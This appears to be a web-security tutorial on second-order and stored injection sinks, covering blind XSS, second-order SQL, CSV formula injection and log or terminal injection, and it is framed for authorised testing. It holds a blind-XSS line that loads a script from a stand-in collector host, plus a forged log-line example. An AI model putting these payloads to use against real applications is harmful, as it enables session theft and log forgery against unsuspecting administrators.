Attacking Secondary Contexts in Web Applications
Secondary contexts testers check after the main flow: log files, admin panels, and background jobs.
Attacking Secondary Contexts in Web Applications#
Why this topic matters: the payload that never fires in the response you received can still fire in the admin panel, the exported spreadsheet, or the support ticket queue. The most interesting findings in a web test often live outside the first request-response pair.
Ethics and scope: every example below assumes you are testing a system you own or have permission to test, and that a callback collector you control receives the out-of-band requests. For the main-flow web classes this builds on, see web hacking 101.
What a Secondary Context Is#
A secondary context is anywhere your input is consumed after the initial request finished, by a different feature, or by a different user. The data crossed a trust boundary and was never rechecked on the way in.
| Where input lands | Who consumes it | Typical sink |
|---|---|---|
| Admin user list | An administrator | HTML in the browser |
| Application logs | A sysadmin | Terminal, log viewer, SIEM |
| Exported CSV | A finance or ops analyst | Spreadsheet application |
| Support ticket | A support agent | Ticket web app or mail client |
| Background job | A cron worker | SQL query, shell command |
| Email notification | The recipient | Mail client HTML renderer |
Why they get missed#
Automated scanners stop at the first response. The stored value is invisible unless someone later views it as that second user. That gap between "stored" and "executed again" is the whole topic.
Second-Order SQL Injection#
Second-order injection means the payload is stored safely at first and executed later as part of a query built from stored data.
Sketch of the pattern#
Signup: INSERT INTO users (name) VALUES (?) -- payload stored as data Later job: UPDATE users SET active = 1 WHERE name = '<stored name>'
- Register with a username containing a quote.
- The registration escapes it correctly, so nothing happens yet.
- A later query concatenates the stored value into SQL.
- The query runs with different privileges than the original one.
What to look for#
- Stored values used in raw SQL anywhere else in the codebase.
- Admin-only queries built from user-controlled fields.
- Cases where the read path escapes but the write path concatenates.
Blind XSS#
Blind XSS is stored XSS where the executing page belongs to someone else, and you never see the response.
<script src="https://collector.example/h.js"></script>
High-value targets#
- Support ticket systems.
- Feedback and "contact us" forms.
- Order notes and address fields.
- Admin dashboards that render user input.
- Chat and comment logs viewed by moderators.
Collection hygiene#
- Use a collector domain you control.
- Log the exact ticket or record that held the payload.
- Wait between sessions; many admins review queues daily, not hourly.
- Trim what you exfiltrate to the minimum that proves execution: a cookie name, a URL, an action.
Notes on XSS delivery differences by sink appear in XSS types compared.
CSV Injection#
If the application exports user data to spreadsheets, formulas can ride along inside quoted fields.
| Prefix character | Effect in a spreadsheet |
|---|---|
= | Formula evaluation |
+ | Formula evaluation |
- | Formula evaluation |
@ | Formula or hyperlink |
Defensive check on the export path#
A correct export either prefixes dangerous leading characters with a tab or apostrophe, or writes the cell as text. Test with an inert payload such as =1+1 in a lab export and inspect the raw bytes of the resulting file.
Log and Terminal Injection#
Logs ship to terminals, log viewers, and SIEMs. Three payload families matter.
Newlines#
A username with an embedded newline can split one log line into two, forging a second entry that looks like a real event.
login ok user=ibrahim login fail user=root ip=10.0.0.9
Terminal escapes#
If the log is viewed in a terminal that honors escape sequences, a payload can rewrite the current line or move the cursor. Keep them as "observed in a terminal" notes rather than assuming RCE.
SIEM field smuggling#
JSON-in-JSON fields are a common place for the second parser to disagree with the first. That disagreement belongs in the detection differences section of your report, not the malware section.
Email and Notification Templates#
A stored value that is emailed arrives where an admin already trusts the sender. Check templates that render user fields as HTML. That is the same class of sink as zero-interaction XSS, delivered to a mail client instead of a page.
Log Injection Checklist#
- Find one place where user input is written to a log.
- Add input containing a newline; reload the log view.
- Add input containing a terminal escape; reload in a real terminal.
- Add input containing quotes; check whether the parser stays aligned.
- Record which viewers break, and which stay intact.
False Positive Shapes#
- The queue admin never opened the record, so nothing fired.
- The payload fired but in a sandboxed viewer with no network.
- The stored value was escaped on every read path, so only the raw SQL console showed it.
- The CSV opened as text because the client defaults to "open as table".
Verification Notes#
- One working replay is not proof; produce the stored record, the console or log view, and the observed effect together.
- Keep a trimmed screenshot of the sink context, not the whole admin screen.
- Record the role of the consumer account. "Admin" is a claim, not a fact, until the session cookie shows it.
Limits of This Approach#
- Some stored values are only read by backend jobs with no interactive sink.
- Email clients differ; an HTML payload that fires in one client may be inert in another.
- Terminal injection is observable; it is not automatically a remote code path.
- No example here substitutes for a documented authorization scope.
Table of Common Sinks by Consumer#
| Consumer | Sink | Marker payload |
|---|---|---|
| Admin panel | innerHTML in the list view | inert markup, then alert in lab |
| SIEM | Field splitting on newline | line-split probe |
| Spreadsheet | Formula leading characters | =1+1 in lab export |
| Ticket queue | Reflected markup in ticket body | escaped vs unescaped check |
| Cron query | Concatenated stored value | quote in stored field |
| Mail client | HTML body renderer | benign markup with tracker |
Boundaries of the Test#
A tester looks for stored values that re-enter a dangerous sink. A tester does not run phishing against the admins of the target to prove a template issue, and does not assume a terminal injection grants a shell. Observation of the sink plus a trimmed replay is enough for a report.
Reading Order Around This Topic#
Start with the class background, then the sinks, then the tooling:
- Injection classes in one view: SQL injection notes.
- Markup injection by delivery type: XSS types compared.
- Client-side object traps: prototype pollution notes.
- Zero-click variants of stored sinks: zero-interaction XSS.
- Filter-bypass angle on those sinks: WAF and Unicode notes.
- Stored sinks in WordPress specifically: WordPress attack surface.
- Exploit stages at a high level: exploit development stages.
- Metasploit task map: Metasploit notes.
- Core web classes refresher: web hacking 101.
Keep that order while you walk a target. Class first, sink second, sink consumer third, report last.
Extra Checks Worth a Line Each#
-
Try the stored value with a quote; watch for a second SQL path.
-
Try the stored value with a newline; watch for a split log line.
-
Try the stored value with markup; watch for a raw echo in exports.
-
Try the stored value with a formula prefix; watch for evaluation.
-
Try the stored value with an escape; watch for a terminal effect.
-
Seeded stored sinks in detail: stored XSS behavior.
-
Client-side sinks you will also need: prototype pollution notes.
-
Proxy basics before this: Burp Suite for beginners.
-
Injection class background: SQL injection notes.
-
Filter-bypass angle: WAF and Unicode notes.
-
WordPress stored sinks: WordPress attack surface.
-
Zero-click variants: zero-interaction XSS.
-
Automated scanners' blind spot: ZAP review notes.
-
The roadmap context: reading order.
-
When out-of-band is required: blind XSS payloads.
-
Traffic confirmation: Wireshark guide.
-
Hands-on proxy loop: Burp Suite for beginners.
-
WP stored sinks: WordPress attack surface.
-
API object checks that often reveal stored-field leaks: BOLA test matrix.
-
Access-matrix approach for consumer roles: Burp Intruder access matrix.
-
Scoring the findings you produce: security finding scoring.
-
Logging design so sinks stay visible: security logging design.
-
Private pages and noindex expectations: noindex is not auth.
-
Server actions and role checks: server actions authorization.
-
Shadow API inventory: shadow API asset inventory.
-
Denied request triage: denied request alert triage.
-
Dead link checks that can front similar hijack risk: dead link detection.
-
Recon with a goal: penetration testing reading order.
-
Interpreting what you stored: security finding scoring.
Triage Notes When a Callback Fires#
- Stop replaying that parameter.
- Record which record ID carried the payload.
- Capture the incoming request headers only.
- Note the time and the reviewer role you can prove.
- Write it up with a trimmed screenshot of the record.
Practical Walkthroughs#
These three walkthroughs describe the shape of the check, not a runbook against a live target.
Walkthrough 1: stored field reaches the admin list#
- Create a profile field that accepts free text.
- Place a harmless markup payload such as
<b>test</b>in it. - View the field as the same user. Confirm the app escapes it there.
- View the user list as the admin role in a separate session.
- Check whether the same field appears escaped or raw.
- If raw, swap in an alert payload in the lab build and confirm the execution context.
Expected observation: two viewers, two different renderings. The report names both viewers and the exact field.
Walkthrough 2: export path#
- Find the export action in the admin UI.
- Seed a row with a value like
=1+1and an inert label. - Download the file and open it in a text editor, not a spreadsheet.
- Check whether the field is quoted, prefixed, or wrapped in an apostrophe guard.
- Open the same file in the spreadsheet the finance team uses.
- Note whether the formula evaluated or displayed as text.
Expected observation: quoting in the raw file, evaluation in the spreadsheet. Both facts belong in the report.
Walkthrough 3: log round trip#
- Find one request whose parameter lands in an application log.
- Send the request with a newline inside the parameter.
- Reload the log in the web viewer; count the lines produced.
- Reload the same log in a real terminal; watch for escape handling.
- Repeat with a quote-heavy value; check parser alignment.
- Record which viewers stayed aligned and which split.
Expected observation: one viewer trusts the line ends, another shows a second forged entry. The second entry is the finding.
Questions to Ask During Recon#
- Which fields can a low-privilege user write?
- Which of those fields are rendered to a higher-privilege role?
- Which fields land in exports, tickets, or notification mail?
- Which parameters land in logs, and who reads those logs?
- Which background jobs read stored values without re-escaping?
Each yes is a candidate secondary context. Each candidate gets one walkthrough like the three above before it becomes a report.
Closing Notes#
The practical rule is simple: every user field has more than one future reader. Walk that list once against the target and several otherwise invisible sinks show up. Keep the replays stored with the finding, because the stored record is the finding; the callback is just the timestamp.
Two Roles You Need#
Every secondary-context check needs two identities and one stored value:
- The low-privilege writer.
- The high-privilege reader.
- The stored value that connects them.
| Role | Purpose |
|---|---|
| Writer | Stores the candidate payload |
| Reader | Is the only one allowed to view it first |
| Auditor | Watches both sessions and records the sink |
Skipping any row weakens the finding. A payload that only fires in the writer's own view is not a secondary-context issue.
Terms Used Above#
- Stored value: input saved by the application and rendered later.
- Consumer: whoever or whatever reads the stored value next.
- Sink: the operation that turns the stored value into execution, rendering, or evaluation.
- Callback server: infrastructure you control that receives out-of-band hits from a payload.
- Second-order: stored first, executed against a different trust decision later.
Keep those five definitions in front of the report. Most secondary-context findings are one of them wearing a costume.
Why Automation Misses These#
Scanners score the response that arrives in the same session. A stored value that fires inside an admin panel fails that scoring by construction. Manual notes name the consumer, the stored record, and the sink; the scanner sees none of the three. That is the durable gap between a scan report and a tester's notes.
What do you think?
React to show your appreciation